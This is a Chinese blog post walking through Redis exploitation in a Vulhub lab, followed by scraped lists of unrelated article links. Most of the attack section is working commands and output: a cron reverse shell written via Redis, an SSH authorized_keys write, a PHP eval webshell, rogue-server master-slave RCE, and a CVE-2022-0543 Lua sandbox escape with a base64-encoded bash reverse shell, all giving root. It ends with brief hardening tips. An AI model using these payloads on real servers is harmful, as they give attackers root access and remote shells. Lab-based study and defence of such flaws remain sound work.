Vulhub 漏洞学习之:Redis
Vulhub 漏洞学习之:Redis
1 Redis简介
Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。Redis 与其他 key - value 缓存产品有以下三个特点:
- Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
- Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
- Redis支持数据的备份,即master-slave模式的数据备份。
Redis 优势
- 性能极高:Redis能读的速度是110000次/s,写的速度是81000次/s 。
- 丰富的数据类型:Redis支持二进制案例的 Strings, Lists, Hashes, Sets 及 Ordered Sets 数据类型操作。
- 原子性:Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
- 丰富的特性:Redis还支持 publish/subscribe, 通知, key 过期等等特性。
2. 安装Redis
2.1 Docker安装测试环境
docker pull redis
docker run -p 6379:6379 -d redis
-p将容器的6379端口映射到主机的6379端口。-d将容器后台运行。
2.2 安装Redis客户端
tar -zxf redis-7.0.0.tar.gz
cd redis-7.0.0
make
cp src/redis-cli /usr/bin
// 测试连接
redis-cli -h your_host -p 6379 -a "pass" --raw
-h: 远程连接的主机-p: 远程连接的端口-a: 密码--raw:解决中文乱码。
2.3 Redis 基础命令
ping: 检测 redis 服务是否启动,启动返回PONG。192.168.210.13:6379> PING
PONG
info192.168.210.13:6379> info
# Server
redis_version:7.0.0
redis_git_sha1:00000000
redis_git_dirty:0
3 Redis 漏洞利用
3.1 利用计划任务反弹shell
3.1.1 kali 监听端口
nc -nvlp 2333
3.1.2 远程连接Redis服务器并写入反弹Payload
// 设置key
set getshell "\n* * * * * bash -i >& /dev/tcp/192.168.210.10/2333 0>&1\n"
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
// 命令行直接写入
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.210.10/2333 0>&1\n\n"|redis-cli -h 192.168.210.13 -x set getshell
redis-cli -h 192.168.210.13 config set dir /var/spool/cron/
redis-cli -h 192.168.210.13 config set dbfilename root
redis-cli -h 192.168.210.13 save
3.2 利用写入公钥登录ssh
3.2.1 kali 生成公私钥
// 生成公私钥
ssh-keygen -t rsa
// 防止乱码,导出key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
// 导入内容
cat key.txt| redis-cli -h 192.168.210.13 -x set putsshkey
// 若知道目标Redis服务器的密码,可以加--pass参数
cat key.txt| redis-cli -h 192.168.210.13 -x set putsshkey --pass your-passwd
3.2.2 远程连接Redis服务器并写入公钥
// 设置路径
config set dir /root/.ssh
// 设置文件名
config set dbfilename authorized_keys
// 保存key值到root文件中
save
3.2.3 kali 远程登录目标系统
ssh -i id_rsa root@192.168.210.13
3.3 利用写入WEBShell连接远程服务器
3.3.1 远程连接Redis服务器并写入WEBShell
config set dir /var/www/html/
config set dbfilename webshell.php
set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
save
3.4 Redis 4.x/5.x 主从复制导致的命令执行
Redis主从复制RCE漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机(此处为kali)实例可以通过FULLRESYNC同步文件到从机(此处为CentOS)上。然后在从机上加载恶意so文件,即可执行命令。
3.4.1 EXP 下载
- GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
- GitHub - Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement
3.4.2 EXP 利用过程
# python3 redis-rogue-server.py --rhost 192.168.210.13 --lhost 192.168.210.10
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 192.168.210.13:6379
[info] SERVER 192.168.210.10:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
// Interactive shell
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] id
[>>] uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
// Reverse shell
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 192.168.210.10
Reverse server port: 2333
[info] Reverse shell payload sent.
[info] Check at 192.168.210.10:2333
[info] Unload module...
// kali监听
└─$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 39390
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
3.4.3 本地利用Redis主从复制RCE
// kali
# python3 redis_rogue_server.py -v -path ../redis-rogue-server-master/exp.so
[*] Listening on port: 15000
# nc -nvlp 2333
listening on [any] 2333 ...
// 在目标主机本地上执行以下命令:
[root@ac ~]# redis-cli
127.0.0.1:6379> config set dir /tmp
OK
127.0.0.1:6379> CONFIG SET dbfilename exp.so
OK
127.0.0.1:6379> SLAVEOF 192.168.210.10 15000
OK
127.0.0.1:6379> module load ./exp.so
OK
127.0.0.1:6379> slaveof NO ONE
OK
127.0.0.1:6379> system.rev 192.168.210.10 2333
3.5 利用SSRF攻击Redis服务器反弹shell
ssrf漏洞利用(内网探测、打redis) - ctrl_TT豆 - 博客园 (cnblogs.com)
3.6 Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
3.6.1 远程执行命令
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
注意:不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。
连接redis,使用eval命令执行上述脚本:
$ redis-cli -h 192.168.210.13
192.168.210.13:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"
3.6.1 反弹shell
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0
成功反弹:
$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 57516
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6d4a5a7a8313:/var/lib/redis# id
id
uid=0(root) gid=0(root) groups=0(root)
root@6d4a5a7a8313:/var/lib/redis#
4 redis安全配置
- 以普通账号启动redis服务
- 监听本地或特定主机
- 开启 protected-mode
- 更改默认6379端口
- 为redis设置密码
Vulhub 漏洞学习之:Redis的更多相关文章
- vulhub漏洞环境
0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...
- FastJson远程命令执行漏洞学习笔记
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- Typecho-反序列化漏洞学习
目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...
- 学习之Redis(一)
一.redis简介 一般学习,最好先去官网,之所以建议看官网,是因为这是一手的学习资料,其他资料都最多只能算二手,一手资料意味着最权威,准确性最高.https://redis.io/topics/in ...
- 学习之Redis(二)
Redis的对象和数据结构 一.字符串对象(请参考学习之Redis(一):https://www.cnblogs.com/wbq1994/p/12029516.html) 二.列表对象 列表对象的编码 ...
- ubuntu搭建vulhub漏洞环境
0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...
- XXE漏洞学习笔记
XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- JWT漏洞学习
JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...
随机推荐
- java面试题-线程
简述线程.程序.进程的基本概念.以及他们之间关系是什么? 系统运行程序到停止就是一个进程创建到消亡的过程,而线程则是进程的更小单位 线程有哪些基本状态? 初始,运行中,等待,阻塞,超时,终止1 关注公 ...
- 【Shell案例】【tail/head/sed、echo $res ·· cat和管道】2、打印文件的最后5行
描述经常查看日志的时候,会从文件的末尾往前查看,于是请你写一个 bash脚本以输出一个文本文件 nowcoder.txt中的最后5行示例:假设 nowcoder.txt 内容如下: #include& ...
- Node.js躬行记(25)——Web自动化测试
网页在提测流转给 QA 后,如何能帮他们更有效而准确的完成测试,是我一直在思考的一个问题. QA 他们会对网页编写测试用例,在提测之前会让我们将优先级最高的用例跑通,这在一定程度上能够避免频繁的返工, ...
- python3 利用当前时间、随机数产生一个唯一的数字作为文件名
一.python3 利用当前时间.随机数产生一个唯一的数字作为文件名 代码如下: #-*-coding:utf-8-*- #python3自动生成文件名 from datetime import * ...
- React DevUI 18.0 正式发布🎉
Jay 是一位经验丰富并且对质量要求很高的开发者,对 Angular.React 等多种框架都很熟悉,我们在开源社区认识,在我做开源社区运营的过程中,Jay 给了我很多帮助,他也是 React Dev ...
- STM32按键控制LED亮灭的代码
led.c #include "led.h" void LED_Config(void) { GPIO_InitTypeDef GPIO_InitStruct; RCC_APB2P ...
- 说透 Kubernetes 监控系列 - 概述
本文作者孔飞,来自快猫星云团队,Kubernetes专家,Categraf 采集器核心研发工程师 云原生包含了开源软件.云计算和应用架构的元素.云计算解决开源软件的运行门槛问题,同时降低了运维成本和基 ...
- JavaScript:对象:对象和属性的内存结构是什么样的?
在说变量的时候,大致画了变量的内存结构,现在来看一下对象的内存结构是什么样的,有助于我们理解传参的各种情况,只是大致的画一下内存模型,不代表实际内存情况. 我们可以用一段代码,来判断一下,是不是这样的 ...
- Cryptohack的Adrien's Signs解题思路
题目如下: 输出的结果: 题目分析: 在原题的题目描述中并没有什么有用的消息,更多的信息是通过代码审计出来的.大致意思是,先把字节flag转换为二进制形式的字符串,然后判断字符串中每个字符,如果为1, ...
- @Transactional事务回滚异常:Transaction rolled back because it has been marked as rollback-only
问题描述 事务设置手动回滚:TransactionAspectSupport.currentTransactionStatus().setRollbackOnly() 代码需要返回比较友好的提示,但t ...